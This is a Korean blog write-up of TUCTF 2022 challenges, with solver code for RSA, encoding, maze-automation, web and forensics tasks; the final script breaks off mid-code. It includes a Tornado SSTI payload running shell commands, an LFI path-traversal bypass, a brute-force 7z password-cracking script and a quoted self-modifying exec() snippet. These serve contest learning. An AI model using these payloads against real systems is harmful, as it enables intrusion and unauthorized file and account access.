Sechack

TUCTF 2022 - Write up 본문

CTF

TUCTF 2022 - Write up

Sechack 2022. 12. 4. 20:55
반응형

요즘에 ctftime에서 열리는 해외 CTF를 오랫동안 안하기도 했고 나의 개인 능력이 궁금하기도 해서 오랜만에 ctftime에서 여는 CTF를 열심히 뛰어봤다. 원래는 C4C에서 뛰지만 휴식기이기도 하고 혼자서 어디까지 가능한가 테스트해보고도 싶어서 혼자서 뛰었다. 주 분야인 포너블도 없는 CTF였는데 솔플로 꽤 많이 푼것 같다.

 

 

주분야 문제가 없는 CTF였는데도 혼자서 top40을 뚫었는데 나름 만족스럽다.

 

 

이런 메일도 왔다. ㄷㄷ

Crypto

 

A Sheep Jumps Over Fence

 

0x56455a7059574e7459584a685a576c756557646f59565637633364765a57647664474e305a48427965584e4464476c6c62584e6c6257463165574e3059574e7a5647687a6247567a5a6d527a636d46796233427366513d3d

 

다운받은 파일을 열어보면 위와 같고

 

VEZpYWNtYXJhZWlueWdoYVV7c3dvZWdvdGN0ZHByeXNDdGllbXNlbWF1eWN0YWNzVGhzbGVzZmRzcmFyb3BsfQ==

 

hex decode를 돌려보면 위와 같이 base64문자열이 나온다.

 

TFiacmaraeinyghaU{swoegotctdprysCtiemsemauyctacsThslesfdsraropl}

 

base64 decode까지 하면 위와같이 조금 이상한 플래그같은 문자열이 나온다. 처음에는 저걸 보고 떠오르는 고전암호가 없어서 당황했는데 플래그 포맷이 TUCTF{} 라는 점을 생각해서 자세히 살펴보면 첫번째 문자와 다음 문자가 16byte떨어져있다는 규칙성을 발견할 수 있다. 그리고 그대로 코드를 짜봤는데 TUCT가 무한반복 되었다. 그래서 조금 게싱을 해서 4byte가 지날때마다 16byte가 아니라 17byte떨어진 값을 가져와야겠다는 생각을 했고 그대로 짜니까 정상적으로 플래그가 나왔다.

 

enc = "TFiacmaraeinyghaU{swoegotctdprysCtiemsemauyctacsThslesfdsraropl}"
dec = ""

idx = 0
for i in range(len(enc)):
    dec += enc[idx%len(enc)]
    if i >= 3 and i % 4 == 3:
        idx += 17
    else:
        idx += 16

print(dec)

 

 

That One RSA Challenge

 

 

root@fc0ce980d0ed ~/hacking main* ⇣⇡
❯ nc chals.tuctf.com 30003
That one RSA Challenge:

Options:
1) Generate RSA Message
2) Convert message to text
3) Exit
1

Generating RSA...

n:4797364916926676275681972238894066788255654290753716908831508569764451227583879614030371573442513897352038822901798440803777120979553112436876165997958479633017089390746616337853257568206712175602990193220817685482477864496197748849764359462974033941779135167400162281726703069688929915672607247704842890243867862616536150657819126872001425119514714217952493633111

e:5

c:1863291553119586507286470373623760102368068659712292739689924150662222840820943451725475472589126274919323358169479146274213092972854128690888898286472198083412245417838525131960531415172053060756356203624519927507464048141365113744891938296254757956373595874835901130081527289272057820201597702640324973447474324070347779606438175977111405000560668092873940249260

Options:
1) Generate RSA Message
2) Convert message to text
3) Exit
1

Generating RSA...

n:10121341011266135105753653353084798632457640591373841776864760566191049683786754780242792819240828745646367406213101496491561189589616666457000622435877636333210046303114274406216536171946273506414339219116732188977344124418735337190054698055296823491232252002396889529089013138144040888664942898055751712908848479104730454092581907427394209951255719812983307434099

e:5

c:1025565859174352181684157188473114183874730603395501464083977262293546673142032634715002335085064921943745894261688834686020477248403384205791941237097063491705707214382697297056067218194475928611423095081837605820742081901555499193993904532453990914718031568912880967532557179463501107842705552020419080488678039666705976187994976989704364145782142983028927077539

Options:
1) Generate RSA Message
2) Convert message to text
3) Exit
1

Generating RSA...

n:13120606925035807174665914308832926151552760060750558602353357554197036814664505258363621627351636739140670770426322498433982936263303429169612851545017936545996570611492146801991262823397298679989967893962607956941075777569611526976552039851239774414679792715512840429518939282164804137710238028897796478783944932698590714921573127946977474020453786364290273333331

e:5

c:4950394958860955273560038295765262749604461137599774123799837337318379395731735204265232772691287054077597998186226253954674794610613834083806977382588037674252204100413308926180236907315821234625899968175989350021535009536771241624393549682779195447151650228141835965899880373770984351857316279463620705344494821419326152676346221467620140411170089794512853840041

Options:
1) Generate RSA Message
2) Convert message to text
3) Exit

 

문제 서버에 접속해보면 같은 암호문에 대해서 다른 키값으로 계속해서 암호화를 할 수 있는것을 알 수 있다. 이런 경우에는 서로 다른 n값과 c값이 3개씩 주어지고 e값이 작을때 사용 가능한 잘 알려진 기법인 hastad attack을 사용할 수 있다. Well Known기법이라 대충 구글링해도 소스코드 많이 나오는데 아무거나 가져다가 쓰면 된다.

 

import gmpy2
gmpy2.get_context().precision = 4096

from binascii import unhexlify
from functools import reduce
from gmpy2 import root

# Håstad's Broadcast Attack
# https://id0-rsa.pub/problem/11/

# Resources
# https://en.wikipedia.org/wiki/Coppersmith%27s_Attack
# https://github.com/sigh/Python-Math/blob/master/ntheory.py

EXPONENT = 3

CIPHERTEXT_1 = "ciphertext.1"
CIPHERTEXT_2 = "ciphertext.2"
CIPHERTEXT_3 = "ciphertext.3"

MODULUS_1 = "modulus.1"
MODULUS_2 = "modulus.2"
MODULUS_3 = "modulus.3"


def chinese_remainder_theorem(items):
    # Determine N, the product of all n_i
    N = 1
    for a, n in items:
        N *= n

    # Find the solution (mod N)
    result = 0
    for a, n in items:
        m = N // n
        r, s, d = extended_gcd(n, m)
        if d != 1:
            raise "Input not pairwise co-prime"
        result += a * s * m

    # Make sure we return the canonical solution.
    return result % N


def extended_gcd(a, b):
    x, y = 0, 1
    lastx, lasty = 1, 0

    while b:
        a, (q, b) = b, divmod(a, b)
        x, lastx = lastx - q * x, x
        y, lasty = lasty - q * y, y

    return (lastx, lasty, a)


def mul_inv(a, b):
    b0 = b
    x0, x1 = 0, 1
    if b == 1:
        return 1
    while a > 1:
        q = a // b
        a, b = b, a % b
        x0, x1 = x1 - q * x0, x0
    if x1 < 0:
        x1 += b0
    return x1


def get_value(filename):
    with open(filename) as f:
        value = f.readline()
    return int(value, 16)

if __name__ == '__main__':

    C1 = 1863291553119586507286470373623760102368068659712292739689924150662222840820943451725475472589126274919323358169479146274213092972854128690888898286472198083412245417838525131960531415172053060756356203624519927507464048141365113744891938296254757956373595874835901130081527289272057820201597702640324973447474324070347779606438175977111405000560668092873940249260
    C2 = 1025565859174352181684157188473114183874730603395501464083977262293546673142032634715002335085064921943745894261688834686020477248403384205791941237097063491705707214382697297056067218194475928611423095081837605820742081901555499193993904532453990914718031568912880967532557179463501107842705552020419080488678039666705976187994976989704364145782142983028927077539
    C3 = 4950394958860955273560038295765262749604461137599774123799837337318379395731735204265232772691287054077597998186226253954674794610613834083806977382588037674252204100413308926180236907315821234625899968175989350021535009536771241624393549682779195447151650228141835965899880373770984351857316279463620705344494821419326152676346221467620140411170089794512853840041

    N1 = 4797364916926676275681972238894066788255654290753716908831508569764451227583879614030371573442513897352038822901798440803777120979553112436876165997958479633017089390746616337853257568206712175602990193220817685482477864496197748849764359462974033941779135167400162281726703069688929915672607247704842890243867862616536150657819126872001425119514714217952493633111
    N2 = 10121341011266135105753653353084798632457640591373841776864760566191049683786754780242792819240828745646367406213101496491561189589616666457000622435877636333210046303114274406216536171946273506414339219116732188977344124418735337190054698055296823491232252002396889529089013138144040888664942898055751712908848479104730454092581907427394209951255719812983307434099
    N3 = 13120606925035807174665914308832926151552760060750558602353357554197036814664505258363621627351636739140670770426322498433982936263303429169612851545017936545996570611492146801991262823397298679989967893962607956941075777569611526976552039851239774414679792715512840429518939282164804137710238028897796478783944932698590714921573127946977474020453786364290273333331

    C = chinese_remainder_theorem([(C1, N1), (C2, N2), (C3, N3)])
    M = int(root(C, 5))

    M = hex(M)[2:]
    print(unhexlify(M).decode('utf-8'))

 

 

More Effort

 

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Wed Nov 23 22:26:57 2022

@author: weiping
"""

import os
import random
from Crypto.Util.number import *
import gmpy2

flag = b'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'

class RSA():
	def __init__(self):
		self.p = getPrime(512)
		self.s = 0
		for i in range(1, 18000000):
			self.s += pow(i, self.p-2, self.p)
		self.s = self.s % self.p
		self.q = gmpy2.next_prime(self.s)
		self.n = self.p * self.q
		self.phi = (self.p - 1) * (self.q - 1)
		self.e = 65537
		self.d = pow(self.e, -1, self.phi)

	def encrypt(self, m: int):
		return pow(m, self.e, self.n)


def main():
    rsa = RSA()
    print(f"p = {rsa.p}")
    print(f"e = {rsa.e}")
    c = rsa.encrypt(bytes_to_long(flag))
    print('c = ', c)
    '''
    p = 11545307730112922786664290405312669819594345207377186481347514368962838475959085036399074594822885814719354871659183685801279739518405830244888530641898849
    e = 65537
    c =  114894293598203268417380013863687165686775727976061560608696207173455730179934925684529986102237419507146768083815607566149240438056135058988227916482404733131796310418493418060300571541865427288945087911872630289527954636816219365941817260989104786329938318143577075200571833575709614521758701838099810751
    '''
    

if __name__ == "__main__":
	main()

 

문제에서 주는 소스코드를 보면 p값을 제공해준다. 그리고 p값을 기반으로 q값이 생성된다.

 

for i in range(1, 18000000):
    self.s += pow(i, self.p-2, self.p)

 

즉 이 부분을 잘 파훼해서 s를 알아내는게 문제의 핵심이다. 단순히 문제에서 주는 정연산대로 해도 대략 150분안에 연산이 끝나긴 하지만 너무 무식한 방법이고 너무 오래걸리는 방법이다. 따라서 저부분을 최적화 해줘야 하는데 코드를 보자마자 페르마의 소정리가 떠올랐다.

 

페르마의 소정리는 소수 $p$에 대하여 $\gcd(a, p)=1$일 경우에 $a^{p-1} \equiv 1 \pmod p$가 성립한다는 정리이다. 문제에서 $p$는 소수이고 $q$값을 생성하는 루틴을 수식으로 나타내면 $a^{p-2} \pmod p$가 된다. 여기에 페르마의 소정리를 적용하려면 $a^{p-2}$를 $a^{p-1}$로 만들어줘야 한다. $a^{p-2}$를 $a^{p-1}$로 만들고 간소화하는 과정을 보면 $a^{p-2}\pmod p = a^{p-1}\times a^{-1} \pmod p = 1 \times a^{-1} \pmod p = a^{-1} \pmod p$ 이런 꼴이 된다. 따라서

 

pow(i, self.p-2, self.p)

 

위 부분을

 

pow(i, -1, self.p)

 

이렇게 최적화 시켜줄 수 있다. 이렇게 최적화 시키고 돌리면 2시간 30분 걸릴거 1분안에 금방 나오는걸 볼 수 있다.

 

import os
import random
from Crypto.Util.number import *
import gmpy2
from tqdm import tqdm

p = 11545307730112922786664290405312669819594345207377186481347514368962838475959085036399074594822885814719354871659183685801279739518405830244888530641898849
e = 65537
c = 114894293598203268417380013863687165686775727976061560608696207173455730179934925684529986102237419507146768083815607566149240438056135058988227916482404733131796310418493418060300571541865427288945087911872630289527954636816219365941817260989104786329938318143577075200571833575709614521758701838099810751

s = 0

for i in tqdm(range(1, 18000000)):
    s += pow(i, -1, p)

s = s % p
q = gmpy2.next_prime(s)
n = p * q
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)

dec = pow(c, d, n)

print(int(dec).to_bytes(len(hex(dec))//2-1, "big"))

 

 

Unmix The Flag

 

 

문제에서 점자를 주고

 

import string

upperFlag = string.ascii_uppercase[:26]
lowerFlag = string.ascii_lowercase[:26]
MIN_LETTER = ord("a")
MIN_CAPLETTER = ord("A")

def mix(oneLetter,num):

    if(oneLetter.isupper()):
        word = ord(oneLetter)-MIN_CAPLETTER
        shift = ord(num)-MIN_CAPLETTER
        return upperFlag[(word + shift)%len(upperFlag)]
    if(oneLetter.islower()):
        word = ord(oneLetter)-MIN_LETTER
        shift = ord(num)-MIN_LETTER
        return lowerFlag[(word + shift)%len(upperFlag)]

def puzzled(puzzle):
    toSolveOne = ""
    for letter in puzzle:
    
        if (letter.isupper()):
            binary ="{0:015b}".format(ord(letter))

            toSolveOne += upperFlag[int(binary[:5],2)]
            toSolveOne += upperFlag[int(binary[5:10],2)]
            toSolveOne += upperFlag[int(binary[10:],2)]

        elif(letter.islower()):
            six = "{0:02x}".format(ord(letter))
            toSolveOne += lowerFlag[int(six[:1],16)]
            toSolveOne += lowerFlag[int(six[1:],16)]
        elif(letter == "_"):
            toSolveOne += "CTF"  
    return toSolveOne   

    
flag = "Figure it Out! :)"
numShift = "??"
mixed = ""

assert all([x in lowerFlag for x in numShift])
assert len(numShift) == 1

encoding = puzzled(flag)
print(encoding)
for count, alpha in enumerate(encoding):
    mixed += mix(alpha, numShift)

print(mixed)

 

플래그 인코딩 알고리즘을 같이 준다. 먼저 점자는 GS-8 Braille Decoder를 돌려서 디코딩할 수 있다. 디코딩하면 5a42545a42485a42495a42534253457a6361774253457a797a7561776163 이러한 값을 얻을 수 있고 hex decode해보면 ZBTZBHZBIZBSBSEzcawBSEzyzuawac이러한 문자열이 나온다. 따라서 이 문자열이 위의 인코딩 알고리즘으로 인코딩된 문자열이라는걸 추측할 수 있다.

 

def mix(oneLetter,num):

    if(oneLetter.isupper()):
        word = ord(oneLetter)-MIN_CAPLETTER
        shift = ord(num)-MIN_CAPLETTER
        return upperFlag[(word + shift)%len(upperFlag)]
    if(oneLetter.islower()):
        word = ord(oneLetter)-MIN_LETTER
        shift = ord(num)-MIN_LETTER
        return lowerFlag[(word + shift)%len(upperFlag)]

 

먼저 mix부터 살펴보면 단순 Shift이다. 따라서 +를 -로만 바꿔주면 역함수가 된다.

 

def puzzled(puzzle):
    toSolveOne = ""
    for letter in puzzle:
    
        if (letter.isupper()):
            binary ="{0:015b}".format(ord(letter))

            toSolveOne += upperFlag[int(binary[:5],2)]
            toSolveOne += upperFlag[int(binary[5:10],2)]
            toSolveOne += upperFlag[int(binary[10:],2)]

        elif(letter.islower()):
            six = "{0:02x}".format(ord(letter))
            toSolveOne += lowerFlag[int(six[:1],16)]
            toSolveOne += lowerFlag[int(six[1:],16)]
        elif(letter == "_"):
            toSolveOne += "CTF"  
    return toSolveOne

 

그리고 puzzled함수인데 얘는 한 문자를 받아서 대문자일 경우에는 문자를 15비트의 이진수로 만들고 5비트로 나눈 값을 index로 써서 sbox에서 값을 가져온다. 즉 한문자가 3문자가 되고 소문자일 경우에는 16진수로 변환한 후에 자릿수를 나눈 값일 index로 써서 sbox에서 값을 가져온다. 즉 소문자일 경우에는 한문자가 2문자가 되는것이다. 치환된 문자를 전부 알고 있으면 sbox에 중복되는 값이 없으니까 치환된 문자의 인덱스도 알 수 있고 인덱스 값들을 조합해서 원본 문자를 복호화가 가능하다.

 

def decrypt(enc):
    i = 0
    dec = ""
    while i < len(enc):
        if len(enc) - i >= 3:
            if enc[i]+enc[i+1]+enc[i+2] == "CTF":
                dec += "_"
                i += 3
            elif enc[i].isupper():
                dec += chr((upperFlag.index(enc[i])<<10)+(upperFlag.index(enc[i+1])<<5)+upperFlag.index(enc[i+2]))
                i += 3
        if enc[i].islower():
            dec += chr((lowerFlag.index(enc[i])<<4)+lowerFlag.index(enc[i+1]))
            i += 2
    return dec

 

따라서 puzzled함수의 역함수는 이렇게 작성할 수 있다.

 

import string

upperFlag = string.ascii_uppercase[:26]
lowerFlag = string.ascii_lowercase[:26]
MIN_LETTER = ord("a")
MIN_CAPLETTER = ord("A")

def unmix(oneLetter,num):
    if(oneLetter.isupper()):
        word = ord(oneLetter)-MIN_CAPLETTER
        shift = ord(num)-MIN_CAPLETTER
        return upperFlag[(word - shift)%len(upperFlag)]
    if(oneLetter.islower()):
        word = ord(oneLetter)-MIN_LETTER
        shift = ord(num)-MIN_LETTER
        return lowerFlag[(word - shift)%len(upperFlag)]

def decrypt(enc):
    i = 0
    dec = ""
    while i < len(enc):
        if len(enc) - i >= 3:
            if enc[i]+enc[i+1]+enc[i+2] == "CTF":
                dec += "_"
                i += 3
            elif enc[i].isupper():
                dec += chr((upperFlag.index(enc[i])<<10)+(upperFlag.index(enc[i+1])<<5)+upperFlag.index(enc[i+2]))
                i += 3
        if enc[i].islower():
            dec += chr((lowerFlag.index(enc[i])<<4)+lowerFlag.index(enc[i+1]))
            i += 2
    return dec

flag = "ZBTZBHZBIZBSBSEzcawBSEzyzuawac"
enc = ""
dec = ""
for i in upperFlag:
    mixed = ""
    for count, alpha in enumerate(flag):
        mixed += unmix(alpha, i)
    if "CTF" in mixed:
        print(decrypt(mixed))

 

전체 solver코드는 위와 같다. puzzled함수에서 언더바를 CTF로 치환해주는 루틴이 있는데 정상적인 플래그라면 언더바가 존재할거라 생각하고 Shift했을때 CTF가 존재하는 문자열을 decrypt하도록 작성했다.

 

 

이렇게 나온 문자열을 TUCTF{}포맷 안에 감싸주면 플래그가 된다.

 

 

Programming

 

Leisurely Math

 

 

단순 계산 노가다이다. python eval을 사용해서 빠르게 자동화 스크립트를 작성했는데 잘 돌아가다가 중간에서 내가 작성한 스크립트가 이상하게 바뀌고 바뀐 스크립트를 실행하려 하면서 오류가 났다. 그래서 중간에 이상한 데이터가 섞여있나 확인하기 위해서 받은 데이터들을 전부 파일로 저장해본 결과

 

exec(\'\\nimport os\\nscript_path = os.path.realpath( __file__ )\\nnew_program = ""\\nwith open( script_path, "r" ) as f:\\n    lines = f.readlines()\\n    for line in lines:\\n        for char in line:\\n            if char.isalpha():\\n                new_program += chr( ord( char ) + 1 )\\n            else:\\n                new_program += char\\nwith open( script_path, "w" ) as f:\\n    f.write( new_program )\\nos.system( "cls" )\\nos.system( "clear" )\\n\')

 

이러한 스크립트를 중간에 쏴주는거였다. 그래서 import를 필터링 걸고 코드를 짰더니 잘 동작한다.

 

from pwn import *
from tqdm import tqdm

r = remote("chals.tuctf.com", 30202)

for i in tqdm(range(1000)):
    eq = r.recvline().strip()
    if b"TUCTF" in eq:
        print(eq)
        r.interactive()
    elif b"import" in eq:
        continue
    else:
        res = eval(eq)
        r.sendlineafter("Answer: ", str(res))
        resdata = r.recvline().strip()
        if b"TUCTF" in resdata:
            print(resdata)

 

중간에 진행률을 확인하기 위해서 대충 큰 숫자인 1000만큼 반복하고 tqdm으로 진행바를 띄웠다.

 

 

여러번 돌려봤는데 어떨때는 800번 넘게 돌고 플래그 주고 반복 횟수는 랜덤인거 같다. 아무튼 플래그 잘 나온다.

 

 

Shell Maze

 

 

서버에 접속하면 미로를 하나 준다. 손으로 하나 풀어봤는데 오른쪽 아래 끝에 도달하면 다음 레벨로 넘어가고 맵이 더 커진다. 이동은 좌, 우 그리고 아래로 이동할 수 있다. 이것도 자동화 스크립트를 짜야 하는데 맵을 받아오고 bfs알고리즘으로 경로를 탐색한 뒤에 입력을 쏴주는 식으로 자동화시켰다.

 

from pwn import *
from collections import deque
from tqdm import tqdm

r = remote("chals.tuctf.com", 30204)

dx = [0, 1, -1]
dy = [1, 0, 0]

def getpath(pathmap, x = 0, y = 0, n = 0, path = ""):
    ilen = len(_map)
    jlen = len(_map[0])
    r1 = ""
    r2 = ""
    r3 = ""
    if y == ilen - 1 and x == jlen - 1:
        return path
    for i in range(3):
        nx = x + dx[i]
        ny = y + dy[i]
        if ny >= 0 and nx >= 0 and ny < ilen and nx < jlen and pathmap[ny][nx] == n + 1:
            if i == 0:
                r1 = getpath(pathmap, nx, ny, n + 1, path+"V")
            elif i == 1:
                r2 = getpath(pathmap, nx, ny, n + 1, path+">")
            else:
                r3 = getpath(pathmap, nx, ny, n + 1, path+"<")
    if r1:
        return r1
    elif r2:
        return r2
    elif r3:
        return r3

def bfs(_map):
    q = deque([])
    q.append([0, 0])
    ilen = len(_map)
    jlen = len(_map[0])
    pathmap = [[0 for j in range(jlen)] for i in range(ilen)]
    path = ""
    while q:
        y, x = q.popleft()
        for i in range(3):
            nx = x + dx[i]
            ny = y + dy[i]
            if ny >= 0 and nx >= 0 and ny < ilen and nx < jlen and pathmap[ny][nx] == 0 and _map[ny][nx] == ord("O"):
                pathmap[ny][nx] = pathmap[y][x] + 1
                q.append([ny, nx])
    return getpath(pathmap)

for i in tqdm(range(100)):
    _map = []
    r.recvuntil("X")
    _map.append(b"X"+r.recvline().strip())
    for j in range(10+i):
        _map.append(r.recvline().strip())
    path = bfs(_map)
    for j in path:
        r.sendlineafter("Move: ", j)
    r.recvuntil("Loading next level...")

r.interactive()

 

코드는 이렇게 짜줬다. 먼저 bfs로 각 지점에 원점으로부터의 최단거리 값을 저장한 2차원 배열을 하나 만들어주고 해당 2차원 배열에서 원점부터 1씩 커지는 값들을 하나하나 따라가서 경로를 구해주는 재귀함수를 작성했다. 이렇게 2단계로 나눠서 최종 경로를 구했고 대충 100번 문제 풀면 플래그 줄거라 생각하고 반복횟수 100으로 줬는데 진짜 딱 100번 반복하고 플래그 줬다.

 

 

이게 최단경로 자체는 1초안에 구해지는데 문자 하나하나 입력해야 하는 구조라서 맵이 커질수록 이동하는데 더 많은 시간이 걸리게 된다. 그래서 프로세스 진행바 옆에 시간을 보면 대략 1시간정도 기다려서 플래그가 나온걸 알 수 있다.

 

 

Web

 

Tornado

 

 

 

SSTI터진다. Tornado template을 사용하므로

 

{% import os %}{{os.popen('ls').read()}}

 

이런식으로 페이로드를 작성하면 된다.

 

 

lookatme.txt가 존재하는걸 알 수 있고 이걸 읽으면

 

 

base64 encode된 값이 나온다.

 

 

디코딩하면 히든 페이지를 준다.

 

 

히든 페이지를 보면 Joe의 쿠키 개수를 맞추라고 하고

 

 

쿠키를 보면 이렇게 되어있다. 여기서 놀라운 게싱을 하나 해야하는데

 

 

바로 lookatme.txt에서 source를 잘 보면 Joe의 쿠키 개수가 적혀있다. 따라서

 

 

히든 페이지에 가서 위와같이 쿠키 변조 후 새로고침을 해주면

 

 

플래그가 나온다.

 

Hyper Maze

 

메인 메뉴에서 start를 누르면

 

 

웬 괴상한 UI가 반겨준다. 사이트 html을 꼼꼼히 살펴보면

 

 

하이퍼링크가 걸린 부분을 찾을 수 있다. 100에서 99로 숫자가 하나 줄어들었다.

 

 

그리고 계속해서 줄어든다. 따라서 page 100개를 쭉 따라서 이동해야하는 문제인걸 깨닫고 바로 자동화 스크립트를 작성했다.

 

import requests

s = requests.Session()

url = "https://hyper-maze.tuctf.com/pages/"

page = "page_aesthetician100.html"

for i in range(99):
    page = "page_"+(s.get(url+page).text.split("page_")[1].split(".html")[0])+".html"
    print(page)

 

간단하게 이렇게 작성하면

 

 

마지막 페이지까지 쭉 나오고

 

 

마지막 페이지 html을 보면 플래그 주는 페이지가 보인다.

 

 

저기로 이동하면 플래그 준다.

 

 

Vertical Traversal

 

 

 

url을 보면 딱봐도 LFI하라고 만든 문제 같다.

 

 

먼저 파일 이름에 ..을 포함하면

 

 

점 두개가 하나로 치환되는것을 볼 수 있다. 그러면 점 3개는 점 2개가 될것이다.

 

 

 

진짜로 점 2개가 된다. 그리고 이제 가장 중요한 슬래시 처리를 해야하는데

 

 

그냥 이렇게 주면

 

 

슬래시가 파일 경로가 아니라 url구분자로 인식된다. 그러면 저기서 /를 url encode해서 보내면 어떨까 라는 생각을 했고

 

 

 

파일 경로로 인식되는것을 알 수 있다. 따라서

 

 

이렇게 요청을 날리면

 

 

LFI가 가능하다.

 

 

플래그 파일 경로 잘 게싱해서 쏴주면

 

 

플래그 읽을 수 있다.

 

 

Swapping Heads

 

 

사이트 접속하면 지금은 이용할 수 있는 시간이 아니라는 문구를 띄우는데 이름부터가 Swapping Heads니까 date헤더를 넣어주면 되지 않을까 하는 생각을 했다.

 

GET / HTTP/2
Host: swapping-heads.tuctf.com
Cache-Control: max-age=0
Sec-Ch-Ua: "Not?A_Brand";v="8", "Chromium";v="108"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
date: Sun, 04 Dec 2022 10:27:14 GMT

 

그래서 위와 같이 밑에 적당히 조작한 data헤더를 끼워 넣었다.

 

 

그랬더니 다른 문구가 출력되었다. 브라우저가 2009년 3월의 것이 아니라고 하는데 여기서부터 이 문제가 의도하는게 뭔지 감을 잡았다. 2009년 3월에 출시된 브라우저를 찾아보니까 Internet Explorer 8이 있었고 해당 브라우저의 User-Agent는

 

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)

 

위와 같다. 따라서 User-Agent도 Internet Explorer 8로 조작하고 요청을 보내니까

 

 

이번엔 이 사이트에 대한 이메일이 어디에 있냐고 물어본다. 이메일 관련된 헤더는 딱히 떠오르는게 없어서 막막했는데 구글링을 열심히 해보니까 https://mailtrap.io/blog/email-headers/

 

Email Headers Explained (+ Full List) | Mailtrap Blog

Email Headers document detailed information regarding your email and its route. Learning to analyze Email Headers, or Email Metadata, proves useful in aspects of safety and security. With this guide, you will be able to learn which headers to prioritize de

mailtrap.io

 

대충 요렇게 생겨먹은 이메일 헤더라는게 있는걸 알게 되었다. 아까 설명에 이 사이트에 대한 귀하의 이메일은 어디에 있습니까? 이런 질문이었기 때문에 아무 이메일이나 넣으면 안되고 tuctf.com으로 끝나는 메일 주소를 넣어야 한다.

 

GET / HTTP/2
Host: swapping-heads.tuctf.com
Cache-Control: max-age=0
Sec-Ch-Ua: "Not?A_Brand";v="8", "Chromium";v="108"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
date: Sun, 04 Dec 2022 10:27:14 GMT
From: test <test@tuctf.com>

 

최종적으로 위와 같은 헤더로 요청을 보내면

 

 

플래그가 나오는걸 볼 수 있다.

 

 

Forensics

 

Secret Kitteh

 

 

귀여운 고양이 이미지를 하나 준다. 먼저 binwalk로 카빙을 떠보면

 

 

7z파일이 하나 숨어있는걸 볼 수 있다.

 

 

카빙을 뜬 7z파일에는 암호가 걸려있다. 일단 dictionary attack을 한번 시도해봤다.

 

https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt

 

GitHub - danielmiessler/SecLists: SecLists is the security tester's companion. It's a collection of multiple types of lists used

SecLists is the security tester's companion. It's a collection of multiple types of lists used during security assessments, collected in one place. List types include usernames, passwords, ...

github.com

 

여기에 올려져 있는 파일을 가지고 시도했다.

 

import os
import sys
 
f = open(sys.argv[1],'r') 
lines = f.read().splitlines() 
 
for line in lines: 
	x = os.system('7z e {0} -p{1} -y'.format(sys.argv[2],line)) 
	if x == 0: 
		print('password : {0}\n\n'.format(line))
		exit(1)

 

공격코드는 간단하게 이렇게 짜줬다. 백그라운드로 돌리면 깔끔한데 귀찮아서 무지성으로 os.system때려박아서 스크립트 실행하면 출력이 많이 더럽다.

 

root@fc0ce980d0ed ~/hacking main* ⇣⇡
❯ python3 ctf.py 10-million-password-list-top-1000000.txt crack.7z

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs AMD Ryzen 7 4700U with Radeon Graphics          (860F01),ASM,AES-NI)

Scanning the drive for archives:
1 file, 203 bytes (1 KiB)

Extracting archive: crack.7z
--
Path = crack.7z
Type = 7z
Physical Size = 203
Headers Size = 155
Method = LZMA2:24 7zAES
Solid = -
Blocks = 1

ERROR: Data Error in encrypted file. Wrong password? : flag

Sub items Errors: 1

Archives with Errors: 1

Sub items Errors: 1

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs AMD Ryzen 7 4700U with Radeon Graphics
 (860F01),ASM,AES-NI)

Scanning the drive for archives:
1 file, 203 bytes (1 KiB)

Extracting archive: crack.7z
--
Path = crack.7z
Type = 7z
Physical Size = 203
Headers Size = 155
Method = LZMA2:24 7zAES
Solid = -
Blocks = 1

Everything is Ok

Size:       31
Compressed: 203
password : password

 

놀랍게도 단 2번만에 크랙이 된걸 볼 수 있다. 패스워드는 password였고 압축은 프로그램에서 이미 패스워드 가지고 풀었으니까 저기서 cat flag해보면 플래그 나온다.

 

 

Misc

 

Inverse Shell

 

 

서버에 접속해보면 custom shell을 주는데 각각 문자가 치환되어있는것을 알 수 있다. 치환된걸 입력하면 다시 제대로된 문자열로 해석한다. 그리고 위에 Welcome to my shell, version 9이렇게 shell버전이 있는데 여러번 접속해본 결과 16개의 버전이 있는것같고 각 버전마다 치환되는 문자들이 다르다. help명령어를 치면 각 명령어들의 설명을 볼 수 있는데 cat, ls, cd등의 명령어가 있었다. 치환도 있는데 거기다가 inverse해서 들어가서 그것도 고려해줘야 한다.

 

from pwn import *

_help = b"xtmp"
cat = b"|ik"
cd = b"lk"
space = b"("
ls = b"{t"
secret = b"|mzkm{"
home_hacker = b"zmskip7muwp7"

while True:
    r = remote("chals.tuctf.com", 30100)
    version = int(r.recvline().strip()[-2:])
    if version == 8:
        #r.sendlineafter(home_hacker+b"> ", b"|\xc2\x80|6oitn"+b"6"+space+cat)
        r.sendlineafter(home_hacker+b"> ", secret+space+cd)
        r.sendlineafter(secret+b"> ", b"|\xc2\x80|6oitn"+b"6"+space+cat)
        r.sendlineafter(secret+b"> ", ls)
        r.recvuntil("ls\n")
        flagfile = r.recvline().strip()[:-6]
